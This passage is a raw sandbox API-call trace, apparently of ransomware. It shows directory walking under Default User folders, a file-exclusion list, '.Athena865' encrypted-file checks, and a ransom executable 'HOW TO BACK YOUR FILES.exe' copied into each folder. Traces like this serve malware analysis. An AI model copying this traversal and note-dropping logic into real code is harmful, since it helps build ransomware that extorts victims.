returned 1 [0054.116] CloseHandle (hObject=0xf4) returned 1 [0054.116] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x534d08 | out: hHeap=0x4f0000) returned 1 [0054.116] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*" [0054.116] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\Default User\\Contacts\\*", lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x62fa4a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xc7843e40, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xc7843e40, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x529410 [0054.116] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0054.116] lstrcmpiW (lpString1=".", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0054.116] lstrcmpiW (lpString1=".", lpString2=".") returned 0 [0054.116] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x62fa4a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xc7843e40, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xc7843e40, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0054.116] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0054.116] lstrcmpiW (lpString1="..", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0054.116] lstrcmpiW (lpString1="..", lpString2=".") returned 1 [0054.117] lstrcmpiW (lpString1="..", lpString2="..") returned 0 [0054.117] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x636c8c0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x636c8c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xc781dce0, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x10e20, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Administrator.contact.Athena865", cAlternateFileName="ADMINI~1.ATH")) returned 1 [0054.117] lstrcmpiW (lpString1="Administrator.contact.Athena865", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0054.117] lstrcmpiW (lpString1="Administrator.contact.Athena865", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0054.117] lstrcmpiW (lpString1="Administrator.contact.Athena865", lpString2=".") returned 1 [0054.117] lstrcmpiW (lpString1="Administrator.contact.Athena865", lpString2="..") returned 1 [0054.117] lstrcmpiW (lpString1="Administrator.contact.Athena865", lpString2="windows") returned -1 [0054.117] lstrcmpiW (lpString1="Administrator.contact.Athena865", lpString2="bootmgr") returned -1 [0054.117] lstrcmpiW (lpString1="Administrator.contact.Athena865", lpString2="temp") returned -1 [0054.117] lstrcmpiW (lpString1="Administrator.contact.Athena865", lpString2="pagefile.sys") returned -1 [0054.117] lstrcmpiW (lpString1="Administrator.contact.Athena865", lpString2="boot") returned -1 [0054.117] lstrcmpiW (lpString1="Administrator.contact.Athena865", lpString2="ids.txt") returned -1 [0054.117] lstrcmpiW (lpString1="Administrator.contact.Athena865", lpString2="ntuser.dat") returned -1 [0054.117] lstrcmpiW (lpString1="Administrator.contact.Athena865", lpString2="perflogs") returned -1 [0054.117] lstrcmpiW (lpString1="Administrator.contact.Athena865", lpString2="MSBuild") returned -1 [0054.117] lstrlenW (lpString="Administrator.contact.Athena865") returned 31 [0054.117] lstrcpyW (in: lpString1=0x241e8a8, lpString2="Administrator.contact.Athena865" | out: lpString1="Administrator.contact.Athena865") returned="Administrator.contact.Athena865" [0054.117] lstrlenW (lpString="Administrator.contact.Athena865") returned 31 [0054.117] lstrlenW (lpString="Athena865") returned 9 [0054.117] lstrcmpiW (lpString1="Athena865", lpString2="Athena865") returned 0 [0054.117] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x636c8c0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x636c8c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xc7843e40, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x4a0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="desktop.ini.Athena865", cAlternateFileName="DESKTO~1.ATH")) returned 1 [0054.117] lstrcmpiW (lpString1="desktop.ini.Athena865", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0054.117] lstrcmpiW (lpString1="desktop.ini.Athena865", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0054.117] lstrcmpiW (lpString1="desktop.ini.Athena865", lpString2=".") returned 1 [0054.117] lstrcmpiW (lpString1="desktop.ini.Athena865", lpString2="..") returned 1 [0054.117] lstrcmpiW (lpString1="desktop.ini.Athena865", lpString2="windows") returned -1 [0054.117] lstrcmpiW (lpString1="desktop.ini.Athena865", lpString2="bootmgr") returned 1 [0054.117] lstrcmpiW (lpString1="desktop.ini.Athena865", lpString2="temp") returned -1 [0054.117] lstrcmpiW (lpString1="desktop.ini.Athena865", lpString2="pagefile.sys") returned -1 [0054.117] lstrcmpiW (lpString1="desktop.ini.Athena865", lpString2="boot") returned 1 [0054.117] lstrcmpiW (lpString1="desktop.ini.Athena865", lpString2="ids.txt") returned -1 [0054.117] lstrcmpiW (lpString1="desktop.ini.Athena865", lpString2="ntuser.dat") returned -1 [0054.117] lstrcmpiW (lpString1="desktop.ini.Athena865", lpString2="perflogs") returned -1 [0054.117] lstrcmpiW (lpString1="desktop.ini.Athena865", lpString2="MSBuild") returned -1 [0054.118] lstrlenW (lpString="desktop.ini.Athena865") returned 21 [0054.118] lstrcpyW (in: lpString1=0x241e8a8, lpString2="desktop.ini.Athena865" | out: lpString1="desktop.ini.Athena865") returned="desktop.ini.Athena865" [0054.118] lstrlenW (lpString="desktop.ini.Athena865") returned 21 [0054.118] lstrlenW (lpString="Athena865") returned 9 [0054.118] lstrcmpiW (lpString1="Athena865", lpString2="Athena865") returned 0 [0054.118] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbcf685a0, ftCreationTime.dwHighDateTime=0x1d575b6, ftLastAccessTime.dwLowDateTime=0xbcf685a0, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xbbee4d00, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x7000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1 [0054.118] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0 [0054.118] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbcf685a0, ftCreationTime.dwHighDateTime=0x1d575b6, ftLastAccessTime.dwLowDateTime=0xbcf685a0, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xbbee4d00, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x7000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 0 [0054.118] FindClose (in: hFindFile=0x529410 | out: hFindFile=0x529410) returned 1 [0054.118] ReleaseMutex (hMutex=0xec) returned 1 [0054.118] CloseHandle (hObject=0xec) returned 1 [0054.118] lstrcpyW (in: lpString1=0x241e848, lpString2="C:\\Documents and Settings\\Default User\\Cookies" | out: lpString1="C:\\Documents and Settings\\Default User\\Cookies") returned="C:\\Documents and Settings\\Default User\\Cookies" [0054.118] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x51b538 | out: hHeap=0x4f0000) returned 1 [0054.118] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52cd20 | out: hHeap=0x4f0000) returned 1 [0054.118] lstrlenW (lpString="C:\\Documents and Settings\\Default User\\Cookies") returned 46 [0054.118] CreateMutexA (lpMutexAttributes=0x0, bInitialOwner=0, lpName="Global\\C34AB97858FF2231EA47B95D4254EC9E") returned 0xec [0054.118] WaitForSingleObject (hHandle=0xec, dwMilliseconds=0x0) returned 0x0 [0054.118] lstrcatW (in: lpString1="", lpString2="C:\\Documents and Settings\\Default User\\Cookies" | out: lpString1="C:\\Documents and Settings\\Default User\\Cookies") returned="C:\\Documents and Settings\\Default User\\Cookies" [0054.118] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe" [0054.118] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Documents and Settings\\Default User\\Cookies\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\documents and settings\\default user\\cookies\\how to back your files.exe"), bFailIfExists=1) returned 0 [0054.119] CreateFileW (lpFileName="C:\\Documents and Settings\\Default User\\Cookies\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\documents and settings\\default user\\cookies\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf4 [0054.119] GetLastError () returned 0x0 [0054.119] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x241e480 | out: lpFileSize=0x241e480*=28672) returned 1 [0054.119] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x7000) returned 0x534d08 [0054.119] ReadFile (in: hFile=0xf4, lpBuffer=0x534d08, nNumberOfBytesToRead=0x7000, lpNumberOfBytesRead=0x241e47c, lpOverlapped=0x0 | out: lpBuffer=0x534d08*, lpNumberOfBytesRead=0x241e47c*=0x7000, lpOverlapped=0x0) returned 1 [0054.119] CloseHandle (hObject=0xf4) returned 1 [0054.119] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x534d08 | out: hHeap=0x4f0000) returned 1 [0054.119] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*" [0054.119] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\Default User\\Cookies\\*", lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0xfda27f60, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xc7890100, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xc7890100, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x529410 [0054.120] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0054.120] lstrcmpiW (lpString1=".", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0054.120] lstrcmpiW (lpString1=".", lpString2=".") returned 0 [0054.120] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0xfda27f60, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xc7890100, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xc7890100, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0054.120] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0054.120] lstrcmpiW (lpString1="..", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0054.120] lstrcmpiW (lpString1="..", lpString2=".") returned 1 [0054.120] lstrcmpiW (lpString1="..", lpString2="..") returned 0 [0054.120] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xbcf685a0, ftCreationTime.dwHighDateTime=0x1d575b6, ftLastAccessTime.dwLowDateTime=0xbcf685a0, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xbbee4d00, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x7000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1 [0054.120] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0 [0054.120] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0x6404e40, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x6404e40, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xc7890100, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x4300, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="index.dat.Athena865", cAlternateFileName="INDEXD~1.ATH")) returned 1 [0054.120] lstrcmpiW (lpString1="index.dat.Athena865", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0054.120] lstrcmpiW (lpString1="index.dat.Athena865", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0054.120] lstrcmpiW (lpString1="index.dat.Athena865", lpString2=".") returned 1 [0054.120] lstrcmpiW (lpString1="index.dat.Athena865", lpString2="..") returned 1 [0054.120] lstrcmpiW (lpString1="index.dat.Athena865", lpString2="windows") returned -1 [0054.120] lstrcmpiW (lpString1="index.dat.Athena865", lpString2="bootmgr") returned 1 [0054.120] lstrcmpiW (lpString1="index.dat.Athena865", lpString2="temp") returned -1 [0054.120] lstrcmpiW (lpString1="index.dat.Athena865", lpString2="pagefile.sys") returned -1 [0054.120] lstrcmpiW (lpString1="index.dat.Athena865", lpString2="boot") returned 1 [0054.120] lstrcmpiW (lpString1="index.dat.Athena865", lpString2="ids.txt") returned 1 [0054.120] lstrcmpiW (lpString1="index.dat.Athena865", lpString2="ntuser.dat") returned -1 [0054.120] lstrcmpiW (lpString1="index.dat.Athena865", lpString2="perflogs") returned -1 [0054.120] lstrcmpiW (lpString1="index.dat.Athena865", lpString2="MSBuild") returned -1 [0054.120] lstrlenW (lpString="index.dat.Athena865") returned 19 [0054.120] lstrcpyW (in: lpString1=0x241e8a6, lpString2="index.dat.Athena865" | out: lpString1="index.dat.Athena865") returned="index.dat.Athena865" [0054.120] lstrlenW (lpString="index.dat.Athena865") returned 19 [0054.120] lstrlenW (lpString="Athena865") returned 9 [0054.120] lstrcmpiW (lpString1="Athena865", lpString2="Athena865") returned 0 [0054.120] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0x6404e40, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x6404e40, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xc7890100, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x4300, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="index.dat.Athena865", cAlternateFileName="INDEXD~1.ATH")) returned 0 [0054.121] FindClose (in: hFindFile=0x529410 | out: hFindFile=0x529410) returned 1 [0054.121] ReleaseMutex (hMutex=0xec) returned 1 [0054.121] CloseHandle (hObject=0xec) returned 1 [0054.121] lstrcpyW (in: lpString1=0x241e848, lpString2="C:\\Documents and Settings\\Default User\\Desktop" | out: lpString1="C:\\Documents and Settings\\Default User\\Desktop") returned="C:\\Documents and Settings\\Default User\\Desktop" [0054.121] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x51b5a0 | out: hHeap=0x4f0000) returned 1 [0054.121] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52cd38 | out: hHeap=0x4f0000) returned 1 [0054.121] lstrlenW (lpString="C:\\Documents and Settings\\Default User\\Desktop") returned 46 [0054.121] CreateMutexA (lpMutexAttributes=0x0, bInitialOwner=0, lpName="Global\\4F3B8BF75B49CED57BDAF4F0DD9D50A7") returned 0xec [0054.121] WaitForSingleObject (hHandle=0xec, dwMilliseconds=0x0) returned 0x0 [0054.121] lstrcatW (in: lpString1="", lpString2="C:\\Documents and Settings\\Default User\\Desktop" | out: lpString1="C:\\Documents and Settings\\Default User\\Desktop") returned="C:\\Documents and Settings\\Default User\\Desktop" [0054.121] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe" [0054.121] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Documents and Settings\\Default User\\Desktop\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\documents and settings\\default user\\desktop\\how to back your files.exe"), bFailIfExists=1) returned 0 [0054.121] CreateFileW (lpFileName="C:\\Documents and Settings\\Default User\\Desktop\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\documents and settings\\default user\\desktop\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf4 [0054.122] GetLastError () returned 0x0 [0054.122] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x241e480 | out: lpFileSize=0x241e480*=28672) returned 1 [0054.122] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x7000) returned 0x534d08 [0054.122] ReadFile (in: hFile=0xf4, lpBuffer=0x534d08, nNumberOfBytesToRead=0x7000, lpNumberOfBytesRead=0x241e47c, lpOverlapped=0x0 | out: lpBuffer=0x534d08*, lpNumberOfBytesRead=0x241e47c*=0x7000, lpOverlapped=0x0) returned 1 [0054.122] CloseHandle (hObject=0xf4) returned 1 [0054.122] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x534d08 | out: hHeap=0x4f0000) returned 1 [0054.122] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*" [0054.122] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\Default User\\Desktop\\*", lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfda4e0ba, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xc78b6260, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xc78b6260, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x529410 [0054.122] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0054.122] lstrcmpiW (lpString1=".", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0054.122] lstrcmpiW (lpString1=".", lpString2=".") returned 0 [0054.122] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfda4e0ba, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xc78b6260, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xc78b6260, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0054.122] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0054.122] lstrcmpiW (lpString1="..", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0054.122] lstrcmpiW (lpString1="..", lpString2=".") returned 1 [0054.122] lstrcmpiW (lpString1="..", lpString2="..") returned 0 [0054.122] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x636c8c0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x636c8c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xc78b6260, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x420, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="desktop.ini.Athena865", cAlternateFileName="DESKTO~1.ATH")) returned 1 [0054.122] lstrcmpiW (lpString1="desktop.ini.Athena865", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0054.122] lstrcmpiW (lpString1="desktop.ini.Athena865", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0054.122] lstrcmpiW (lpString1="desktop.ini.Athena865", lpString2=".") returned 1 [0054.122] lstrcmpiW (lpString1="desktop.ini.Athena865", lpString2="..") returned 1 [0054.122] lstrcmpiW (lpString1="desktop.ini.Athena865", lpString2="windows") returned -1 [0054.122] lstrcmpiW (lpString1="desktop.ini.Athena865", lpString2="bootmgr") returned 1 [0054.122] lstrcmpiW (lpString1="desktop.ini.Athena865", lpString2="temp") returned -1 [0054.123] lstrcmpiW (lpString1="desktop.ini.Athena865", lpString2="pagefile.sys") returned -1 [0054.123] lstrcmpiW (lpString1="desktop.ini.Athena865", lpString2="boot") returned 1 [0054.123] lstrcmpiW (lpString1="desktop.ini.Athena865", lpString2="ids.txt") returned -1 [0054.123] lstrcmpiW (lpString1="desktop.ini.Athena865", lpString2="ntuser.dat") returned -1 [0054.123] lstrcmpiW (lpString1="desktop.ini.Athena865", lpString2="perflogs") returned -1 [0054.123] lstrcmpiW (lpString1="desktop.ini.Athena865", lpString2="MSBuild") returned -1 [0054.123] lstrlenW (lpString="desktop.ini.Athena865") returned 21 [0054.123] lstrcpyW (in: lpString1=0x241e8a6, lpString2="desktop.ini.Athena865" | out: lpString1="desktop.ini.Athena865") returned="desktop.ini.Athena865" [0054.123] lstrlenW (lpString="desktop.ini.Athena865") returned 21 [0054.123] lstrlenW (lpString="Athena865") returned 9 [0054.123] lstrcmpiW (lpString1="Athena865", lpString2="Athena865") returned 0 [0054.123] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbcf685a0, ftCreationTime.dwHighDateTime=0x1d575b6, ftLastAccessTime.dwLowDateTime=0xbcf685a0, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xbbee4d00, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x7000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1 [0054.123] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0 [0054.123] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbcf685a0, ftCreationTime.dwHighDateTime=0x1d575b6, ftLastAccessTime.dwLowDateTime=0xbcf685a0, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xbbee4d00, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x7000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 0 [0054.123] FindClose (in: hFindFile=0x529410 | out: hFindFile=0x529410) returned 1 [0054.123] ReleaseMutex (hMutex=0xec) returned 1 [0054.123] CloseHandle (hObject=0xec) returned 1 [0054.123] lstrcpyW (in: lpString1=0x241e848, lpString2="C:\\Documents and Settings\\Default User\\Documents" | out: lpString1="C:\\Documents and Settings\\Default User\\Documents") returned="C:\\Documents and Settings\\Default User\\Documents" [0054.123] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52dfb8 | out: hHeap=0x4f0000) returned 1 [0054.123] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52cd50 | out: hHeap=0x4f0000) returned 1 [0054.123] lstrlenW (lpString="C:\\Documents and Settings\\Default User\\Documents") returned 48 [0054.123] CreateMutexA (lpMutexAttributes=0x0, bInitialOwner=0, lpName="Global\\922F88F6FF97AC232510926962AB19F7") returned 0xec [0054.123] WaitForSingleObject (hHandle=0xec, dwMilliseconds=0x0) returned 0x0 [0054.123] lstrcatW (in: lpString1="", lpString2="C:\\Documents and Settings\\Default User\\Documents" | out: lpString1="C:\\Documents and Settings\\Default User\\Documents") returned="C:\\Documents and Settings\\Default User\\Documents" [0054.123] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe" [0054.123] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Documents and Settings\\Default User\\Documents\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\documents and settings\\default user\\documents\\how to back your files.exe"), bFailIfExists=1) returned 0 [0054.124] CreateFileW (lpFileName="C:\\Documents and Settings\\Default User\\Documents\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\documents and settings\\default user\\documents\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf4 [0054.124] GetLastError () returned 0x0 [0054.124] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x241e480 | out: lpFileSize=0x241e480*=28672) returned 1 [0054.124] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x7000) returned 0x534d08 [0054.124] ReadFile (in: hFile=0xf4, lpBuffer=0x534d08, nNumberOfBytesToRead=0x7000, lpNumberOfBytesRead=0x241e47c, lpOverlapped=0x0 | out: lpBuffer=0x534d08*, lpNumberOfBytesRead=0x241e47c*=0x7000, lpOverlapped=0x0) returned 1 [0054.124] CloseHandle (hObject=0xf4) returned 1 [0054.124] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x534d08 | out: hHeap=0x4f0000) returned 1 [0054.124] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*" [0054.124] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\Default User\\Documents\\*", lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfda9a36e, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xc7902520, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xc7902520, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x529410 [0054.124] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0054.125] lstrcmpiW (lpString1=".", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0054.125] lstrcmpiW (lpString1=".", lpString2=".") returned 0 [0054.125] FindNextFileW (in: 